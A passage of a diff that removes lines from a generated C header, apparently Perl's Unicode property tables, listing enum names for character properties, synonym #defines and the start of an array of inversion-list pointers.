PL_JG__MANICHAEANGIMEL, - PL_JG__MANICHAEANHETH, - PL_JG__MANICHAEANHUNDRED, - PL_JG__MANICHAEANKAPH, - PL_JG__MANICHAEANLAMEDH, - PL_JG__MANICHAEANMEM, - PL_JG__MANICHAEANNUN, - PL_JG__MANICHAEANONE, - PL_JG__MANICHAEANPE, - PL_JG__MANICHAEANQOPH, - PL_JG__MANICHAEANRESH, - PL_JG__MANICHAEANSADHE, - PL_JG__MANICHAEANSAMEKH, - PL_JG__MANICHAEANTAW, - PL_JG__MANICHAEANTEN, - PL_JG__MANICHAEANTETH, - PL_JG__MANICHAEANTHAMEDH, - PL_JG__MANICHAEANTWENTY, - PL_JG__MANICHAEANWAW, - PL_JG__MANICHAEANYODH, - PL_JG__MANICHAEANZAYIN, - PL_JG__MEEM, - PL_JG__MIM, - PL_JG__NOJOININGGROUP, - PL_JG__NOON, - PL_JG__NUN, - PL_JG__NYA, - PL_JG__PE, - PL_JG__QAF, - PL_JG__QAPH, - PL_JG__REH, - PL_JG__REVERSEDPE, - PL_JG__ROHINGYAYEH, - PL_JG__SAD, - PL_JG__SADHE, - PL_JG__SEEN, - PL_JG__SEMKATH, - PL_JG__SHIN, - PL_JG__STRAIGHTWAW, - PL_JG__SWASHKAF, - PL_JG__SYRIACWAW, - PL_JG__TAH, - PL_JG__TAW, - PL_JG__TEHMARBUTA, - PL_JG__TETH, - PL_JG__WAW, - PL_JG__YEH, - PL_JG__YEHBARREE, - PL_JG__YEHWITHTAIL, - PL_JG__YUDH, - PL_JG__YUDHHE, - PL_JG__ZAIN, - PL_JG__ZHAIN, - PL_JOINC, - PL_JT__C, - PL_JT__D, - PL_JT__L, - PL_JT__R, - PL_JT__T, - PL_JT__U, - PL_KALI, - PL_KANA, - PL_KANAEXTA, - PL_KANASUP, - PL_KANBUN, - PL_KANGXI, - PL_KATAKANAEXT, - PL_KHAR, - PL_KHMERSYMBOLS, - PL_KHMR, - PL_KHOJ, - PL_KNDA, - PL_KTHI, - PL_L, - PL_LANA, - PL_LAO, - PL_LATIN1, - PL_LATINEXTA, - PL_LATINEXTADDITIONAL, - PL_LATINEXTB, - PL_LATINEXTC, - PL_LATINEXTD, - PL_LATINEXTE, - PL_LATN, - PL_LB__AI, - PL_LB__AL, - PL_LB__B2, - PL_LB__BA, - PL_LB__BB, - PL_LB__BK, - PL_LB__CB, - PL_LB__CJ, - PL_LB__CL, - PL_LB__CM, - PL_LB__CP, - PL_LB__CR, - PL_LB__EB, - PL_LB__EM, - PL_LB__EX, - PL_LB__GL, - PL_LB__H2, - PL_LB__H3, - PL_LB__HL, - PL_LB__HY, - PL_LB__ID, - PL_LB__IN, - PL_LB__IS, - PL_LB__LF, - PL_LB__NL, - PL_LB__NS, - PL_LB__NU, - PL_LB__OP, - PL_LB__PO, - PL_LB__PR, - PL_LB__QU, - PL_LB__SA, - PL_LB__SG_perl_aux, - PL_LB__SP, - PL_LB__SY, - PL_LB__WJ, - PL_LB__XX, - PL_LB__ZW, - PL_LB__ZWJ, - PL_LEPC, - PL_LETTERLIKESYMBOLS, - PL_LIMB, - PL_LINA, - PL_LINB, - PL_LINEARBIDEOGRAMS, - PL_LINEARBSYLLABARY, - PL_LISU, - PL_LM, - PL_LO, - PL_LOE, - PL_LOWERCASELETTER, - PL_LOWSURROGATES, - PL_LYCI, - PL_LYDI, - PL_M, - PL_MAHJ, - PL_MAHJONG, - PL_MAND, - PL_MANI, - PL_MARC, - PL_MATH, - PL_MATHALPHANUM, - PL_MATHOPERATORS, - PL_MC, - PL_ME, - PL_MEETEIMAYEKEXT, - PL_MEND, - PL_MERC, - PL_MERO, - PL_MIAO, - PL_MISCARROWS, - PL_MISCMATHSYMBOLSA, - PL_MISCMATHSYMBOLSB, - PL_MISCPICTOGRAPHS, - PL_MISCSYMBOLS, - PL_MISCTECHNICAL, - PL_MLYM, - PL_MN, - PL_MODI, - PL_MODIFIERLETTERS, - PL_MODIFIERTONELETTERS, - PL_MONG, - PL_MONGOLIANSUP, - PL_MRO, - PL_MTEI, - PL_MULT, - PL_MUSIC, - PL_MYANMAREXTA, - PL_MYANMAREXTB, - PL_MYMR, - PL_N, - PL_NARB, - PL_NB, - PL_NBAT, - PL_NEWA, - PL_NFCQC__M, - PL_NFCQC__Y, - PL_NFDQC__Y, - PL_NFKCQC__N, - PL_NFKCQC__Y, - PL_NFKDQC__N, - PL_NKO, - PL_NL, - PL_NO, - PL_NSHU, - PL_NT__DI, - PL_NT__NU, - PL_NUMBERFORMS, - PL_NV__0, - PL_NV__1, - PL_NV__10, - PL_NV__100, - PL_NV__1000, - PL_NV__10000, - PL_NV__100000, - PL_NV__1000000, - PL_NV__100000000, - PL_NV__10000000000, - PL_NV__1000000000000, - PL_NV__11, - PL_NV__11_SLASH_12, - PL_NV__11_SLASH_2, - PL_NV__12, - PL_NV__13, - PL_NV__13_SLASH_2, - PL_NV__14, - PL_NV__15, - PL_NV__15_SLASH_2, - PL_NV__16, - PL_NV__17, - PL_NV__17_SLASH_2, - PL_NV__18, - PL_NV__19, - PL_NV__1_SLASH_10, - PL_NV__1_SLASH_12, - PL_NV__1_SLASH_16, - PL_NV__1_SLASH_160, - PL_NV__1_SLASH_2, - PL_NV__1_SLASH_20, - PL_NV__1_SLASH_3, - PL_NV__1_SLASH_4, - PL_NV__1_SLASH_40, - PL_NV__1_SLASH_5, - PL_NV__1_SLASH_6, - PL_NV__1_SLASH_7, - PL_NV__1_SLASH_8, - PL_NV__1_SLASH_9, - PL_NV__2, - PL_NV__20, - PL_NV__200, - PL_NV__2000, - PL_NV__20000, - PL_NV__200000, - PL_NV__21, - PL_NV__216000, - PL_NV__22, - PL_NV__23, - PL_NV__24, - PL_NV__25, - PL_NV__26, - PL_NV__27, - PL_NV__28, - PL_NV__29, - PL_NV__2_SLASH_3, - PL_NV__2_SLASH_5, - PL_NV__3, - PL_NV__30, - PL_NV__300, - PL_NV__3000, - PL_NV__30000, - PL_NV__300000, - PL_NV__31, - PL_NV__32, - PL_NV__33, - PL_NV__34, - PL_NV__35, - PL_NV__36, - PL_NV__37, - PL_NV__38, - PL_NV__39, - PL_NV__3_SLASH_16, - PL_NV__3_SLASH_2, - PL_NV__3_SLASH_20, - PL_NV__3_SLASH_4, - PL_NV__3_SLASH_5, - PL_NV__3_SLASH_8, - PL_NV__3_SLASH_80, - PL_NV__4, - PL_NV__40, - PL_NV__400, - PL_NV__4000, - PL_NV__40000, - PL_NV__400000, - PL_NV__41, - PL_NV__42, - PL_NV__43, - PL_NV__432000, - PL_NV__44, - PL_NV__45, - PL_NV__46, - PL_NV__47, - PL_NV__48, - PL_NV__49, - PL_NV__4_SLASH_5, - PL_NV__5, - PL_NV__50, - PL_NV__500, - PL_NV__5000, - PL_NV__50000, - PL_NV__500000, - PL_NV__5_SLASH_12, - PL_NV__5_SLASH_2, - PL_NV__5_SLASH_6, - PL_NV__5_SLASH_8, - PL_NV__6, - PL_NV__60, - PL_NV__600, - PL_NV__6000, - PL_NV__60000, - PL_NV__600000, - PL_NV__7, - PL_NV__70, - PL_NV__700, - PL_NV__7000, - PL_NV__70000, - PL_NV__700000, - PL_NV__7_SLASH_12, - PL_NV__7_SLASH_2, - PL_NV__7_SLASH_8, - PL_NV__8, - PL_NV__80, - PL_NV__800, - PL_NV__8000, - PL_NV__80000, - PL_NV__800000, - PL_NV__9, - PL_NV__90, - PL_NV__900, - PL_NV__9000, - PL_NV__90000, - PL_NV__900000, - PL_NV__9_SLASH_2, - PL_NV__NAN, - PL_NV___MINUS_1_SLASH_2, - PL_OCR, - PL_OGAM, - PL_OLCK, - PL_ORKH, - PL_ORNAMENTALDINGBATS, - PL_ORYA, - PL_OSGE, - PL_OSMA, - PL_P, - PL_PALM, - PL_PATSYN, - PL_PAUC, - PL_PC, - PL_PCM, - PL_PD, - PL_PE, - PL_PERM, - PL_PF, - PL_PHAG, - PL_PHAISTOS, - PL_PHLI, - PL_PHLP, - PL_PHNX, - PL_PHONETICEXT, - PL_PHONETICEXTSUP, - PL_PI, - PL_PLAYINGCARDS, - PL_PO, - PL_POSIXALNUM, - PL_POSIXALPHA, - PL_POSIXBLANK, - PL_POSIXCNTRL, - PL_POSIXDIGIT, - PL_POSIXGRAPH, - PL_POSIXLOWER, - PL_POSIXPRINT, - PL_POSIXPUNCT, - PL_POSIXSPACE, - PL_POSIXUPPER, - PL_POSIXWORD, - PL_POSIXXDIGIT, - PL_PRTI, - PL_PS, - PL_PUA, - PL_QAAI, - PL_QMARK, - PL_RADICAL, - PL_RI, - PL_RJNG, - PL_RUMI, - PL_RUNR, - PL_S, - PL_SAMR, - PL_SARB, - PL_SAUR, - PL_SB__AT, - PL_SB__CL, - PL_SB__EX, - PL_SB__FO, - PL_SB__LE, - PL_SB__LO, - PL_SB__SC, - PL_SB__SE, - PL_SB__SP, - PL_SB__ST, - PL_SB__UP, - PL_SB__XX, - PL_SC, - PL_SC__ADLM, - PL_SC__ARAB, - PL_SC__ARMN, - PL_SC__BENG, - PL_SC__BOPO, - PL_SC__BUGI, - PL_SC__BUHD, - PL_SC__CAKM, - PL_SC__COPT, - PL_SC__CPRT, - PL_SC__CYRL, - PL_SC__DEVA, - PL_SC__DUPL, - PL_SC__GEOR, - PL_SC__GLAG, - PL_SC__GRAN, - PL_SC__GREK, - PL_SC__GUJR, - PL_SC__GURU, - PL_SC__HAN, - PL_SC__HANG, - PL_SC__HANO, - PL_SC__HIRA, - PL_SC__JAVA, - PL_SC__KALI, - PL_SC__KANA, - PL_SC__KHOJ, - PL_SC__KNDA, - PL_SC__KTHI, - PL_SC__LATN, - PL_SC__LIMB, - PL_SC__LINA, - PL_SC__LINB, - PL_SC__MAHJ, - PL_SC__MAND, - PL_SC__MANI, - PL_SC__MLYM, - PL_SC__MODI, - PL_SC__MONG, - PL_SC__MULT, - PL_SC__MYMR, - PL_SC__ORYA, - PL_SC__PERM, - PL_SC__PHAG, - PL_SC__PHLP, - PL_SC__QAAI, - PL_SC__SHRD, - PL_SC__SIND, - PL_SC__SINH, - PL_SC__SYLO, - PL_SC__SYRC, - PL_SC__TAGB, - PL_SC__TAKR, - PL_SC__TALE, - PL_SC__TAML, - PL_SC__TELU, - PL_SC__TGLG, - PL_SC__THAA, - PL_SC__TIRH, - PL_SC__YI, - PL_SC__ZYYY, - PL_SD, - PL_SGNW, - PL_SHAW, - PL_SHORTHANDFORMATCONTROLS, - PL_SHRD, - PL_SIDD, - PL_SIND, - PL_SINH, - PL_SINHALAARCHAICNUMBERS, - PL_SK, - PL_SM, - PL_SMALLFORMS, - PL_SO, - PL_SORA, - PL_SOYO, - PL_SPECIALS, - PL_STERM, - PL_SUND, - PL_SUNDANESESUP, - PL_SUPARROWSA, - PL_SUPARROWSB, - PL_SUPARROWSC, - PL_SUPERANDSUB, - PL_SUPMATHOPERATORS, - PL_SUPPUAA, - PL_SUPPUAB, - PL_SUPPUNCTUATION, - PL_SUPSYMBOLSANDPICTOGRAPHS, - PL_SUTTONSIGNWRITING, - PL_SYLO, - PL_SYRC, - PL_SYRIACSUP, - PL_TAGB, - PL_TAGS, - PL_TAIXUANJING, - PL_TAKR, - PL_TALE, - PL_TALU, - PL_TAML, - PL_TANG, - PL_TANGUTCOMPONENTS, - PL_TAVT, - PL_TELU, - PL_TERM, - PL_TFNG, - PL_TGLG, - PL_THAA, - PL_THAI, - PL_TIBT, - PL_TIRH, - PL_TITLE, - PL_TRANSPORTANDMAP, - PL_UCAS, - PL_UCASEXT, - PL_UGAR, - PL_UIDEO, - PL_UPPERCASELETTER, - PL_VAI, - PL_VEDICEXT, - PL_VERTICALFORMS, - PL_VERTSPACE, - PL_VO__R, - PL_VO__TR, - PL_VO__TU, - PL_VO__U, - PL_VS, - PL_VSSUP, - PL_WARA, - PL_WB__DQ, - PL_WB__EB, - PL_WB__EBG, - PL_WB__EX, - PL_WB__EXTEND, - PL_WB__FO, - PL_WB__GAZ, - PL_WB__KA, - PL_WB__LE, - PL_WB__MB, - PL_WB__ML, - PL_WB__MN, - PL_WB__NL, - PL_WB__NU, - PL_WB__SQ, - PL_WB__XX, - PL_XIDC, - PL_XIDS, - PL_XPEO, - PL_XPOSIXALNUM, - PL_XPOSIXALPHA, - PL_XPOSIXBLANK, - PL_XPOSIXCNTRL, - PL_XPOSIXDIGIT, - PL_XPOSIXGRAPH, - PL_XPOSIXLOWER, - PL_XPOSIXPRINT, - PL_XPOSIXPUNCT, - PL_XPOSIXSPACE, - PL_XPOSIXUPPER, - PL_XPOSIXWORD, - PL_XPOSIXXDIGIT, - PL_XSUX, - PL_YI, - PL_YIJING, - PL_YIRADICALS, - PL_YISYLLABLES, - PL_Z, - PL_ZANB, - PL_ZL, - PL_ZP, - PL_ZS, - PL_ZYYY, - PL_ZZZZ, - PL__PERL_ANY_FOLDS, - PL__PERL_CHARNAME_BEGIN, - PL__PERL_CHARNAME_CONTINUE, - PL__PERL_FOLDS_TO_MULTI_CHAR, - PL__PERL_IDCONT, - PL__PERL_IDSTART, - PL__PERL_NCHAR, - PL__PERL_PATWS, - PL__PERL_PROBLEMATIC_LOCALE_FOLDEDS_START, - PL__PERL_PROBLEMATIC_LOCALE_FOLDS, - PL__PERL_QUOTEMETA, - PL__PERL_SURROGATE -} binary_invlist_enum; - -#define MAX_UNI_KEYWORD_INDEX PL__PERL_SURROGATE - -/* Synonyms for perl properties */ -#define PL_AHEX PL_POSIXXDIGIT -#define PL_ALNUM PL_XPOSIXALNUM -#define PL_ALPHA PL_XPOSIXALPHA -#define PL_ALPHABETIC PL_XPOSIXALPHA -#define PL_ASCIIHEXDIGIT PL_POSIXXDIGIT -#define PL_BASICLATIN PL_ASCII -#define PL_BLANK PL_XPOSIXBLANK -#define PL_CC PL_XPOSIXCNTRL -#define PL_CNTRL PL_XPOSIXCNTRL -#define PL_CONTROL PL_XPOSIXCNTRL -#define PL_DECIMALNUMBER PL_XPOSIXDIGIT -#define PL_DIGIT PL_XPOSIXDIGIT -#define PL_GRAPH PL_XPOSIXGRAPH -#define PL_HEX PL_XPOSIXXDIGIT -#define PL_HEXDIGIT PL_XPOSIXXDIGIT -#define PL_HORIZSPACE PL_XPOSIXBLANK -#define PL_LC PL_CASEDLETTER -#define PL_LL PL_LOWERCASELETTER -#define PL_LOWER PL_XPOSIXLOWER -#define PL_LOWERCASE PL_XPOSIXLOWER -#define PL_LT PL_TITLE -#define PL_LU PL_UPPERCASELETTER -#define PL_L_ PL_CASEDLETTER -#define PL_L_AMP_ PL_CASEDLETTER -#define PL_ND PL_XPOSIXDIGIT -#define PL_PERLSPACE PL_POSIXSPACE -#define PL_PERLWORD PL_POSIXWORD -#define PL_PRINT PL_XPOSIXPRINT -#define PL_SPACE PL_XPOSIXSPACE -#define PL_SPACEPERL PL_XPOSIXSPACE -#define PL_TITLECASE PL_TITLE -#define PL_TITLECASELETTER PL_TITLE -#define PL_UPPER PL_XPOSIXUPPER -#define PL_UPPERCASE PL_XPOSIXUPPER -#define PL_WHITESPACE PL_XPOSIXSPACE -#define PL_WORD PL_XPOSIXWORD -#define PL_WSPACE PL_XPOSIXSPACE -#define PL_XDIGIT PL_XPOSIXXDIGIT -#define PL_XPERLSPACE PL_XPOSIXSPACE - - -static const UV * const PL_uni_prop_ptrs[] = { - NULL, /* Placeholder */ - PL_ADLM_invlist, - PL_AEGEANNUMBERS_invlist, - PL_AGE__10_invlist, - PL_AGE__2_invlist, - PL_AGE__2_DOT_1_invlist, - PL_AGE__3_invlist, - PL_AGE__3_DOT_1_invlist, - PL_AGE__3_DOT_2_invlist, - PL_AGE__4_invlist, - PL_AGE__4_DOT_1_invlist, - PL_AGE__5_invlist, - PL_AGE__5_DOT_1_invlist, - PL_AGE__5_DOT_2_invlist, - PL_AGE__6_invlist, - PL_AGE__6_DOT_1_invlist, - PL_AGE__6_DOT_2_invlist, - PL_AGE__6_DOT_3_invlist, - PL_AGE__7_invlist, - PL_AGE__8_invlist, - PL_AGE__9_invlist, - PL_AGE__NA_invlist, - PL_AGHB_invlist, - PL_AHOM_invlist, - PL_ALCHEMICAL_invlist, - PL_ALL_invlist, - PL_ALPHABETICPF_invlist, - PL_ANCIENTGREEKMUSIC_invlist, - PL_ANCIENTGREEKNUMBERS_invlist, - PL_ANCIENTSYMBOLS_invlist, - PL_ANY_invlist, - PL_ARAB_invlist, - PL_ARABICEXTA_invlist, - PL_ARABICMATH_invlist, - PL_ARABICPFA_invlist, - PL_ARABICPFB_invlist, - PL_ARABICSUP_invlist, - PL_ARMI_invlist, - PL_ARMN_invlist, - PL_ARROWS_invlist, - PL_ASCII_invlist, - PL_ASSIGNED_invlist, - PL_AVST_invlist, - PL_BALI_invlist, - PL_BAMU_invlist, - PL_BAMUMSUP_invlist, - PL_BASS_invlist, - PL_BATK_invlist, - PL_BC__AL_invlist, - PL_BC__AN_invlist, - PL_BC__B_invlist, - PL_BC__BN_invlist, - PL_BC__CS_invlist, - PL_BC__EN_invlist, - PL_BC__ES_invlist, - PL_BC__ET_invlist, - PL_BC__FSI_invlist, - PL_BC__L_invlist, - PL_BC__LRE_invlist, - PL_BC__LRI_invlist, - PL_BC__LRO_invlist, - PL_BC__NSM_invlist, - PL_BC__ON_invlist, - PL_BC__PDF_invlist, - PL_BC__PDI_invlist, - PL_BC__R_invlist, - PL_BC__RLE_invlist, - PL_BC__RLI_invlist, - PL_BC__RLO_invlist, - PL_BC__S_invlist, - PL_BC__WS_invlist, - PL_BENG_invlist, - PL_BHKS_invlist, - PL_BIDIC_invlist, - PL_BIDIM_invlist, - PL_BLOCKELEMENTS_invlist, - PL_BOPO_invlist, - PL_BOPOMOFOEXT_invlist, - PL_BOXDRAWING_invlist, - PL_BPT__C_invlist, - PL_BPT__N_invlist, - PL_BPT__O_invlist, - PL_BRAH_invlist, - PL_BRAI_invlist, - PL_BUGI_invlist, - PL_BUHD_invlist, - PL_BYZANTINEMUSIC_invlist, - PL_C_invlist, - PL_CAKM_invlist, - PL_CANS_invlist, - PL_CARI_invlist, - PL_CASED_invlist, - PL_CASEDLETTER_invlist, - PL_CCC__0_invlist, - PL_CCC__1_invlist, - PL_CCC__10_invlist, - PL_CCC__103_invlist, - PL_CCC__107_invlist, - PL_CCC__11_invlist, - PL_CCC__118_invlist, - PL_CCC__12_invlist, - PL_CCC__122_invlist, - PL_CCC__129_invlist, - PL_CCC__13_invlist, - PL_CCC__130_invlist, - PL_CCC__132_invlist, - PL_CCC__133_invlist, - PL_CCC__14_invlist, - PL_CCC__15_invlist, - PL_CCC__16_invlist, - PL_CCC__17_invlist, - PL_CCC__18_invlist, - PL_CCC__19_invlist, - PL_CCC__20_invlist, - PL_CCC__202_invlist, - PL_CCC__21_invlist, - PL_CCC__214_invlist, - PL_CCC__216_invlist, - PL_CCC__22_invlist, - PL_CCC__23_invlist, - PL_CCC__24_invlist, - PL_CCC__25_invlist, - PL_CCC__26_invlist, - PL_CCC__27_invlist, - PL_CCC__28_invlist, - PL_CCC__29_invlist, - PL_CCC__30_invlist, - PL_CCC__31_invlist, - PL_CCC__32_invlist, - PL_CCC__33_invlist, - PL_CCC__34_invlist, - PL_CCC__35_invlist, - PL_CCC__36_invlist, - PL_CCC__7_invlist, - PL_CCC__8_invlist, - PL_CCC__84_invlist, - PL_CCC__9_invlist, - PL_CCC__91_invlist, - PL_CCC__A_invlist, - PL_CCC__AL_invlist, - PL_CCC__AR_invlist, - PL_CCC__B_invlist, - PL_CCC__BL_invlist, - PL_CCC__BR_invlist, - PL_CCC__DA_invlist, - PL_CCC__DB_invlist, - PL_CCC__IS_invlist, - PL_CCC__L_invlist, - PL_CCC__R_invlist, - PL_CE_invlist, - PL_CF_invlist, - PL_CHAM_invlist, - PL_CHER_invlist, - PL_CHEROKEESUP_invlist, - PL_CI_invlist, - PL_CJK_invlist, - PL_CJKCOMPAT_invlist, - PL_CJKCOMPATFORMS_invlist, - PL_CJKCOMPATIDEOGRAPHS_invlist, - PL_CJKCOMPATIDEOGRAPHSSUP_invlist, - PL_CJKEXTA_invlist, - PL_CJKEXTB_invlist, - PL_CJKEXTC_invlist, - PL_CJKEXTD_invlist, - PL_CJKEXTE_invlist, - PL_CJKEXTF_invlist, - PL_CJKRADICALSSUP_invlist, - PL_CJKSTROKES_invlist, - PL_CJKSYMBOLS_invlist, - PL_CN_invlist, - PL_CO_invlist, - PL_COMPATJAMO_invlist, - PL_COMPEX_invlist, - PL_CONTROLPICTURES_invlist, - PL_COPT_invlist, - PL_COPTICEPACTNUMBERS_invlist, - PL_COUNTINGROD_invlist, - PL_CPRT_invlist, - PL_CUNEIFORMNUMBERS_invlist, - PL_CURRENCYSYMBOLS_invlist, - PL_CWCF_invlist, - PL_CWCM_invlist, - PL_CWKCF_invlist, - PL_CWL_invlist, - PL_CWT_invlist, - PL_CWU_invlist, - PL_CYPRIOTSYLLABARY_invlist, - PL_CYRILLICEXTA_invlist, - PL_CYRILLICEXTB_invlist, - PL_CYRILLICEXTC_invlist, - PL_CYRILLICSUP_invlist, - PL_CYRL_invlist, - PL_DASH_invlist, - PL_DEP_invlist, - PL_DEVA_invlist, - PL_DEVANAGARIEXT_invlist, - PL_DI_invlist, - PL_DIA_invlist, - PL_DIACRITICALS_invlist, - PL_DIACRITICALSEXT_invlist, - PL_DIACRITICALSFORSYMBOLS_invlist, - PL_DIACRITICALSSUP_invlist, - PL_DINGBATS_invlist, - PL_DOMINO_invlist, - PL_DSRT_invlist, - PL_DT__CAN_invlist, - PL_DT__COM_invlist, - PL_DT__ENC_invlist, - PL_DT__FIN_invlist, - PL_DT__FONT_invlist, - PL_DT__FRA_invlist, - PL_DT__INIT_invlist, - PL_DT__ISO_invlist, - PL_DT__MED_invlist, - PL_DT__NAR_invlist, - PL_DT__NB_invlist, - PL_DT__NONCANON_invlist, - PL_DT__NONE_invlist, - PL_DT__SML_invlist, - PL_DT__SQR_invlist, - PL_DT__SUB_invlist, - PL_DT__SUP_invlist, - PL_DT__VERT_invlist, - PL_DUPL_invlist, - PL_EARLYDYNASTICCUNEIFORM_invlist, - PL_EA__A_invlist, - PL_EA__F_invlist, - PL_EA__H_invlist, - PL_EA__N_invlist, - PL_EA__NA_invlist, - PL_EA__W_invlist, - PL_EGYP_invlist, - PL_ELBA_invlist, - PL_EMOTICONS_invlist, - PL_ENCLOSEDALPHANUM_invlist, - PL_ENCLOSEDALPHANUMSUP_invlist, - PL_ENCLOSEDCJK_invlist, - PL_ENCLOSEDIDEOGRAPHICSUP_invlist, - PL_ETHI_invlist, - PL_ETHIOPICEXT_invlist, - PL_ETHIOPICEXTA_invlist, - PL_ETHIOPICSUP_invlist, - PL_EXT_invlist, - PL_GCB__CN_invlist, - PL_GCB__L_invlist, - PL_GCB__PP_invlist, - PL_GCB__SM_invlist, - PL_GCB__T_invlist, - PL_GCB__V_invlist, - PL_GCB__XX_invlist, - PL_GEOMETRICSHAPES_invlist, - PL_GEOMETRICSHAPESEXT_invlist, - PL_GEOR_invlist, - PL_GEORGIANSUP_invlist, - PL_GLAG_invlist, - PL_GLAGOLITICSUP_invlist, - PL_GONM_invlist, - PL_GOTH_invlist, - PL_GRAN_invlist, - PL_GRBASE_invlist, - PL_GREEKEXT_invlist, - PL_GREK_invlist, - PL_GREXT_invlist, - PL_GUJR_invlist, - PL_GURU_invlist, - PL_HALFANDFULLFORMS_invlist, - PL_HALFMARKS_invlist, - PL_HAN_invlist, - PL_HANG_invlist, - PL_HANO_invlist, - PL_HATR_invlist, - PL_HEBR_invlist, - PL_HIGHPUSURROGATES_invlist, - PL_HIGHSURROGATES_invlist, - PL_HIRA_invlist, - PL_HLUW_invlist, - PL_HMNG_invlist, - PL_HST__NA_invlist, - PL_HUNG_invlist, - PL_HYPHEN_invlist, - PL_IDC_invlist, - PL_IDEO_invlist, - PL_IDEOGRAPHICSYMBOLS_invlist, - PL_IDS_invlist, - PL_IDSB_invlist, - PL_IDST_invlist, - PL_INADLAM_invlist, - PL_INAHOM_invlist, - PL_INANATOLIANHIEROGLYPHS_invlist, - PL_INARABIC_invlist, - PL_INARMENIAN_invlist, - PL_INAVESTAN_invlist, - PL_INBALINESE_invlist, - PL_INBAMUM_invlist, - PL_INBASSAVAH_invlist, - PL_INBATAK_invlist, - PL_INBENGALI_invlist, - PL_INBHAIKSUKI_invlist, - PL_INBOPOMOFO_invlist, - PL_INBRAHMI_invlist, - PL_INBUGINESE_invlist, - PL_INBUHID_invlist, - PL_INCARIAN_invlist, - PL_INCAUCASIANALBANIAN_invlist, - PL_INCHAKMA_invlist, - PL_INCHAM_invlist, - PL_INCHEROKEE_invlist, - PL_INCOPTIC_invlist, - PL_INCUNEIFORM_invlist, - PL_INCYRILLIC_invlist, - PL_INDEVANAGARI_invlist, - PL_INDICNUMBERFORMS_invlist, - PL_INDUPLOYAN_invlist, - PL_INEGYPTIANHIEROGLYPHS_invlist, - PL_INELBASAN_invlist, - PL_INETHIOPIC_invlist, - PL_INGEORGIAN_invlist, - PL_INGLAGOLITIC_invlist, - PL_INGOTHIC_invlist, - PL_INGRANTHA_invlist, - PL_INGREEK_invlist, - PL_INGUJARATI_invlist, - PL_INGURMUKHI_invlist, - PL_INHANGUL_invlist, - PL_INHANUNOO_invlist, - PL_INHATRAN_invlist, - PL_INHEBREW_invlist, - PL_INHIRAGANA_invlist, - PL_INIDC_invlist, - PL_INIMPERIALARAMAIC_invlist, - PL_ININSCRIPTIONALPAHLAVI_invlist, - PL_ININSCRIPTIONALPARTHIAN_invlist, - PL_INJAVANESE_invlist, - PL_INKAITHI_invlist, - PL_INKANNADA_invlist, - PL_INKATAKANA_invlist, - PL_INKHAROSHTHI_invlist, - PL_INKHMER_invlist, - PL_INKHOJKI_invlist, - PL_INKHUDAWADI_invlist, - PL_INLAO_invlist, - PL_INLEPCHA_invlist, - PL_INLIMBU_invlist, - PL_INLINEARA_invlist, - PL_INLYCIAN_invlist, - PL_INLYDIAN_invlist, - PL_INMAHAJANI_invlist, - PL_INMALAYALAM_invlist, - PL_INMANDAIC_invlist, - PL_INMANICHAEAN_invlist, - PL_INMARCHEN_invlist, - PL_INMASARAMGONDI_invlist, - PL_INMEETEIMAYEK_invlist, - PL_INMENDEKIKAKUI_invlist, - PL_INMEROITICCURSIVE_invlist, - PL_INMIAO_invlist, - PL_INMODI_invlist, - PL_INMONGOLIAN_invlist, - PL_INMRO_invlist, - PL_INMULTANI_invlist, - PL_INMYANMAR_invlist, - PL_INNABATAEAN_invlist, - PL_INNEWA_invlist, - PL_INNEWTAILUE_invlist, - PL_INNKO_invlist, - PL_INNUSHU_invlist, - PL_INOGHAM_invlist, - PL_INOLDHUNGARIAN_invlist, - PL_INOLDITALIC_invlist, - PL_INOLDPERMIC_invlist, - PL_INOLDPERSIAN_invlist, - PL_INOLDTURKIC_invlist, - PL_INORIYA_invlist, - PL_INOSAGE_invlist, - PL_INOSMANYA_invlist, - PL_INPAHAWHHMONG_invlist, - PL_INPAUCINHAU_invlist, - PL_INPC__BOTTOM_invlist, - PL_INPC__BOTTOMANDLEFT_invlist, - PL_INPC__BOTTOMANDRIGHT_invlist, - PL_INPC__LEFT_invlist, - PL_INPC__LEFTANDRIGHT_invlist, - PL_INPC__NA_invlist, - PL_INPC__OVERSTRUCK_invlist, - PL_INPC__RIGHT_invlist, - PL_INPC__TOP_invlist, - PL_INPC__TOPANDBOTTOM_invlist, - PL_INPC__TOPANDBOTTOMANDRIGHT_invlist, - PL_INPC__TOPANDLEFT_invlist, - PL_INPC__TOPANDLEFTANDRIGHT_invlist, - PL_INPC__TOPANDRIGHT_invlist, - PL_INPHAGSPA_invlist, - PL_INPHOENICIAN_invlist, - PL_INPSALTERPAHLAVI_invlist, - PL_INPUNCTUATION_invlist, - PL_INREJANG_invlist, - PL_INRUNIC_invlist, - PL_INSAMARITAN_invlist, - PL_INSAURASHTRA_invlist, - PL_INSC__AVAGRAHA_invlist, - PL_INSC__BINDU_invlist, - PL_INSC__BRAHMIJOININGNUMBER_invlist, - PL_INSC__CANTILLATIONMARK_invlist, - PL_INSC__CONSONANT_invlist, - PL_INSC__CONSONANTDEAD_invlist, - PL_INSC__CONSONANTFINAL_invlist, - PL_INSC__CONSONANTHEADLETTER_invlist, - PL_INSC__CONSONANTKILLER_invlist, - PL_INSC__CONSONANTMEDIAL_invlist, - PL_INSC__CONSONANTPLACEHOLDER_invlist, - PL_INSC__CONSONANTPRECEDINGREPHA_invlist, - PL_INSC__CONSONANTPREFIXED_invlist, - PL_INSC__CONSONANTSUBJOINED_invlist, - PL_INSC__CONSONANTSUCCEEDINGREPHA_invlist, - PL_INSC__CONSONANTWITHSTACKER_invlist, - PL_INSC__GEMINATIONMARK_invlist, - PL_INSC__INVISIBLESTACKER_invlist, - PL_INSC__MODIFYINGLETTER_invlist, - PL_INSC__NONJOINER_invlist, - PL_INSC__NUKTA_invlist, - PL_INSC__NUMBER_invlist, - PL_INSC__NUMBERJOINER_invlist, - PL_INSC__OTHER_invlist, - PL_INSC__PUREKILLER_invlist, - PL_INSC__REGISTERSHIFTER_invlist, - PL_INSC__SYLLABLEMODIFIER_invlist, - PL_INSC__TONELETTER_invlist, - PL_INSC__TONEMARK_invlist, - PL_INSC__VIRAMA_invlist, - PL_INSC__VISARGA_invlist, - PL_INSC__VOWEL_invlist, - PL_INSC__VOWELDEPENDENT_invlist, - PL_INSC__VOWELINDEPENDENT_invlist, - PL_INSHARADA_invlist, - PL_INSIDDHAM_invlist, - PL_INSINHALA_invlist, - PL_INSORASOMPENG_invlist, - PL_INSOYOMBO_invlist, - PL_INSUNDANESE_invlist, - PL_INSYLOTINAGRI_invlist, - PL_INSYRIAC_invlist, - PL_INTAGALOG_invlist, - PL_INTAGBANWA_invlist, - 